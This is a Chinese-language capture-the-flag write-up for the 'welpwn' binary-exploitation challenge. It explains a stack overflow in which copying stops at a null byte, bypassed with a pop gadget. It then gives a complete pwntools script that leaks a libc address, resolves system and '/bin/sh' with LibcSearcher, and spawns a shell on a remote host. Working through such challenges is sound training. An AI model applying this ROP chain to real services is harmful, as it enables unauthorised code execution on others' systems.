流程很简单,输入buf,这里不存在溢出,然后进入echo方法,将buf复制到s2,当遇到\x00就结束。这个条件会导致p64(addr)后面的内容被截断(地址经p64包装后肯定会出现\0x00)。栈结构如下:
也就是说,s2只能复制buf前面32个单元的内容。为了使32位后面的内容得以执行,我们需要在ret位置跳去执行四个pop指令,去掉buf前32位内容(也就是复制到s2里面的这些内容),这样就能连贯执行32位之后的内容了。
所以,目前payload = ‘A’ * 24 + p64(addr_pop4)
观察ida的function区没有发现system方法,string区没有发现/bin/sh。题目也没有给出libc,所以只能溢出write(为啥是write?因为write好用!)的地址,然后使用ROPSearcher获取libc里面的system和/bin/sh。所以,我们需要进行两次溢出。
第一次payload= ‘A’ * 24 + p64(addr_pop4) +p64(addr_pop_rdi)[因为是64位系统,前六个参数从寄存器获取,这里将参数放入寄存器] + p64(elf.got['write'])[注意payload的位置需要放在程序执行完一次write方法之后] + p64(eld.plt['puts'])[这里使用symbols也可以] + p64(elf.symbols['main'])
第二次payload=‘A’ * 24 +p64(addr_pop4) +p64(addr_pop_rdi) + p64(addr_sh) + p64(addr_sys)
具体exp如下:
from pwn import * from LibcSearcher import * io = remote("220.249.52.133","55307") context.log_level = 'debug' elf = ELF("./welpwn/welpwn") addr_pop4=0x40089c addr_pop_rdi = 0x4008a3 io.recvuntil("Welcome to RCTF\n") payload = 'A'* 24 + p64(addr_pop4) + p64(addr_pop_rdi) + p64(elf.got['write']) + p64(elf.symbols['puts']) + p64(elf.symbols['main']) io.sendline(payload) io.recvuntil('\x40') addr_write = io.recv(6) addr_write = u64(addr_write.ljust(8,'\x00')) # print addr_write libc = LibcSearcher('write',addr_write) addr_base = addr_write - libc.dump('write') addr_sys = addr_base + libc.dump('system') addr_sh = addr_base + libc.dump('str_bin_sh') payload = 'A'* 24 + p64(addr_pop4) + p64(addr_pop_rdi) + p64(addr_sh) + p64(addr_sys) io.sendline(payload) io.interactive()